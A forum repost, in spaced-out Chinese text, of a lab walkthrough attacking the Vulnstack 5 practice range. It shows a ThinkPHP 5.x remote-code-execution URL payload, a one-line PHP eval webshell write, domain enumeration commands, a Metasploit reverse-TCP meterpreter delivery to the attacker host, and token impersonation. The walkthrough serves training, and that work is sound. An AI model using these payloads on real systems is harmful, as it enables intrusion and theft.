搜索

[18540] 2021-03-15_实战记一次靶场内网渗透（五）

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-03-15_实战记一次靶场内网渗透（五） 实 战   |   记 一 次 靶 场 内 网 渗 透 （ 五 ） 原 创   W H O A M I   H A C K 学 习 呀   2 0 2 1 - 0 3 - 1 5 前 言 前 言 在 上 一 节   《 记 一 次 V u l n s t a c k 靶 场 内 网 渗 透 （ 四 ） 》 中 ， 我 们 玩 过 了 v u l n s t a c k   3 这 个 靶 场 ， 通 过 信 息 收 集 、 J o o m l a   C M S 漏 洞 利 用 、 权 限 提 升 、 以 及 域 渗 透 最 终 拿 下 了 域 控 并 获 得 域 控 中 的 一 份 重 要 文 件 。 在 本 节 中 ， 我 测 试 的 靶 场 是 v u l n s t a c k   5 这 个 靶 场 。 靶 场 地 址 ： h t t p : / / v u l n s t a c k . q i y u a n x u e t a n g . n e t / v u l n / d e t a i l / 7 / “ 此 次 靶 场 虚 拟 机 共 用 两 个 ， 一 个 外 网 一 个 内 网 ， 用 来 练 习 红 队 相 关 内 容 和 方 向 ， 主 要 包 括 常 规 信 息 收 集 、 W e b 攻 防 、 代 码 审 计 、 漏 洞 利 用 、 内 网 渗 透 以 及 域 渗 透 等 相 关 内 容 学 习 ， 此 靶 场 主 要 用 来 学 习 ， 请 大 家 遵 守 网 络 网 络 安 全 法 。 ” 实 验 环 境 搭 建 实 验 环 境 搭 建 V M w a r e 新 建 网 卡 V M n e t 1 4 ， 选 择 仅 主 机 模 式 ， 并 将 网 段 I P 设 置 为 1 9 2 . 1 6 8 . 1 3 8 . 0 ：
i m a g e - 2 0 2 1 0 2 1 8 1 8 5 3 0 3 7 6 8 然 后 将 W i n d o w s   7 和 W i n d o w s   2 0 0 8 绑 在 这 个 V M n e t 1 4 上 。 除 此 之 外 ， 还 需 要 给 W i n d o w s   7   新 增 一 个 网 卡 ， 并 设 置 为 桥 接 模 式 。 最 终 W i n d o w s   7 具 有 两 个 网 卡 ， 分 别 连 通 内 外 网 ， 而 W i n d o w s   2 0 0 8 只 有 一 个 网 卡 连 接 ， 处 于 内 网 无 法 与 外 网 通 信 。 整 个 靶 场 环 境 大 致 如 下 ： W i n d o w s   7 ：
• W e b 服 务 器 （ 使 用 的 是 P H P S t u d y ， 记 得 自 己 手 动 开 一 下 ） • 模 拟 外 网 I P ： 1 9 2 . 1 6 8 . 0 . 1 0 1 • 内 网 I P ： 1 9 2 . 1 6 8 . 1 3 8 . 1 3 6 W i n d o w s   S e r v e r   2 0 0 8 ： • 域 控 制 器 • 内 网 I P ： 1 9 2 . 1 6 8 . 1 3 8 . 1 3 8 攻 击 者 V P S ： • O S ： K a l i   L i n u x • I P ： 1 9 2 . 1 6 8 . 0 . 1 0 0 外 网 渗 透 外 网 渗 透 我 们 首 先 对 目 标 机 W i n d o w s   7 （ 1 9 2 . 1 6 8 . 0 . 1 0 1 ） 进 行 端 口 扫 ： 发 现 W e b 服 务 和 M y s q l ： 访 问 8 0 端 口 发 现 是 个 t h i n k p h p ： n m a p   - T 4   - s C   - s V   1 9 2 . 1 6 8 . 0 . 1 0 1
版 本 是 T h i n k P H P   V 5 . 0 ， 既 然 是 V 5 . 0 ， 那 么 我 们 就 可 以 尝 试 一 下 T h i n k p h p 远 程 命 令 执 行 漏 洞 。 漏 洞 描 述 ： 由 于 t h i n k p h p 对 框 架 中 的 核 心 R e q u e s t s 类 的 m e t h o d 方 法 提 供 了 表 单 请 求 伪 造 ， 该 功 能 利 用     来 传 递 真 实 的 请 求 方 法 。 但 由 于 框 架 没 有 对 参 数 进 行 验 证 ， 导 致 攻 击 者 可 以 设 置     而 让 该 类 的 变 量 被 覆 盖 。 攻 击 者 利 用 该 方 式 将 f i l t e r 变 量 覆 盖 为 s y s t e m 等 函 数 名 ， 当 内 部 进 行 参 数 过 滤 时 便 会 进 行 执 行 任 意 命 令 。 报 错 查 看 详 细 版 本 ： 使 用 k a l i 的 s e a r c h s p l o i t 查 找 一 下 漏 洞 利 用 P O C ： $ _ P O S T [ ' _ m e t h o d ' ] $ _ P O S T [ ' _ m e t h o d ' ] = ' _ _ c o n s t r u c t ' s e a r c h s p l o i t   t h i n k p h p
发 现 最 后 一 个 是 t h i n k p h p 5 . X 版 本 的 R C E ， 我 们 进 入 该 漏 洞 的 文 件 4 6 1 5 0 . t x t ： p a y l o a d ： 命 令 执 行 成 功 ： c d   / u s r / s h a r e / e x p l o i t d b / e x p l o i t s / p h p / w e b a p p s c a t   4 6 1 5 0 . t x t h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 0 1 / ? s = i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = s y s t e m & v a r s [ 1 ] [ ] = w h o a m i
写 入 W e b s h e l l ： 写 入 成 功 ： 连 接 蚁 剑 ： 攻 入 内 网 攻 入 内 网 内 网 信 息 收 集 内 网 信 息 收 集 h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 0 1 / ? s = / i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = s y s t e m & v a r s [ 1 ] [ ] = e c h o   " < ? p h p   @ e v a l ( $ _ P O S T [ w h o a m i ] ) ; ? > "   >   s h e l l . p h p
接 下 来 要 做 的 就 是 信 息 收 集 了 ， 详 细 的 内 网 信 息 收 集 请 看 我 的 另 一 篇 文 章 《 内 网 渗 透 测 试 ： 信 息 收 集 与 上 传 下 载 》 ， 这 里 我 们 只 做 几 个 有 用 的 信 息 收 集 。   i p c o n f i g   / a l l       #   查 看 本 机 i p ， 所 在 域   r o u t e   p r i n t           #   打 印 路 由 信 息   n e t   v i e w                 #   查 看 局 域 网 内 其 他 主 机 名   a r p   - a                     #   查 看 a r p 缓 存   w h o a m i                     #   查 看 当 前 用 户   n e t   s t a r t               #   查 看 开 启 了 哪 些 服 务   n e t   s h a r e               #   查 看 开 启 了 哪 些 共 享     n e t   c o n f i g   w o r k s t a t i o n       #   查 看 计 算 机 名 、 全 名 、 用 户 名 、 系 统 版 本 、 工 作 站 、 域 、 登 录 域   n e t   u s e r                                   #   查 看 本 机 用 户 列 表   n e t   u s e r   / d o m a i n                   #   查 看 域 用 户   n e t   l o c a l g r o u p   a d m i n i s t r a t o r s       #   查 看 本 地 管 理 员 组 （ 通 常 会 有 域 用 户 ）   n e t   v i e w   / d o m a i n                   #   查 看 有 几 个 域   n e t   u s e r   用 户 名   / d o m a i n       #   获 取 指 定 域 用 户 的 信 息   n e t   g r o u p   / d o m a i n                 #   查 看 域 里 面 的 工 作 组 ， 查 看 把 用 户 分 了 多 少 组 （ 只 能 在 域 控 上 操 作 ）   n e t   g r o u p   组 名   / d o m a i n         #   查 看 域 中 某 工 作 组   n e t   g r o u p   " d o m a i n   a d m i n s "   / d o m a i n     #   查 看 域 管 理 员 的 名 字   n e t   g r o u p   " d o m a i n   c o m p u t e r s "   / d o m a i n     #   查 看 域 中 的 其 他 主 机 名   n e t   g r o u p   " d o m a i n   c o n t r o l l e r s "   / d o m a i n     #   查 看 域 控 制 器 （ 可 能 有 多 台 ）
当 前 用 户 直 接 就 是 a d m i n i s t r a t o r 管 理 员 账 户 。 目 标 主 机 所 在 的 网 络 环 境 还 存 在 一 个 1 9 2 . 1 6 8 . 1 3 8 . 0 的 网 段 ， 并 且 存 在 一 个 名 为 “ s u n ” 的 域 环 境 。 但 是 当 前 我 们 获 得 的 用 户 权 限 却 不 能 收 集 域 信 息 ， 所 以 我 们 得 给 这 台 主 机 （ W i n d o w s   7 ） 上 一 个 m e t e r p r e t e r 并 伪 造 一 个 权 限 较 低 的 用 户 的 令 牌 然 后 再 来 尝 试 收 集 域 信 息 。 这 里 我 们 使 用 m e t a s p l o i t 的 w e b _ d e l i v e r y 模 块 ： M e t a s p l o i t 的 W e b   D e l i v e r y   S c r i p t 是 一 个 多 功 能 模 块 ， 可 在 托 管 有 效 负 载 的 攻 击 机 器 上 创 建 服 务 器 。 当 受 害 者 连 接 到 攻 击 服 务 器 时 ， 负 载 将 在 受 害 者 机 器 上 执 行 。 此 漏 洞 需 要 一 种 在 受 害 机 器 上 执 行 命 令 的 方 法 。 特 别 是 你 必 须 能 够 从 受 害 者 到 达 攻 击 机 器 。 远 程 命 令 执 行 是 使 用 此 模 块 的 攻 击 向 量 的 一 个 很 好 的 例 子 。 W e b   D e l i v e r y 脚 本 适 用 于 p h p ， p y t h o n 和 基 于 P o w e r S h e l l 的 应 用 程 序 。 详 情 请 看 ： 《 使 用 M e t a s p l o i t   w e b _ d e l i v e r y 反 弹 s h e l l 》 u s e   e x p l o i t / m u l t i / s c r i p t / w e b _ d e l i v e r y s e t   t a r g e t   2         #   选 择 使 用 p o w e r s h e l l 类 型 的 p a y l o a d s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   1 9 2 . 1 6 8 . 0 . 1 0 0 e x p l o i t
将 上 面 生 成 的 p a y l o a d 在 目 标 主 机 上 执 行 ： 如 上 图 ， 目 标 机 W i n d o w s   7 成 功 上 线 。 然 后 窃 取 一 个 低 权 限 域 用 户 “ S U N l e o ” 的 令 牌 ： 但 即 便 模 拟 了 S U N l e o 用 户 的 令 牌 也 无 法 执 行 域 内 命 令 。 。 。 后 来     提 升 了 个 权 限 竟 然 可 以 了 ： g e t u i d         # 查 看 当 前 t o k e n u s e   i n c o g n i t o   # 加 载 i n c o g n i t o l i s t _ t o k e n s   - u   # 列 出 A c c e s s T o k e n i m p e r s o n a t e _ t o k e n   " S U N l e o "   # 模 拟 D E M O d o u s e r 用 户 r e v 2 s e l f       # 返 回 到 之 前 的 A c c e s s T o k e n 权 限 g e t s y s t e m
查 看 域 内 主 机 ： 查 看 域 控 制 器 ： 查 看 域 管 理 员 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理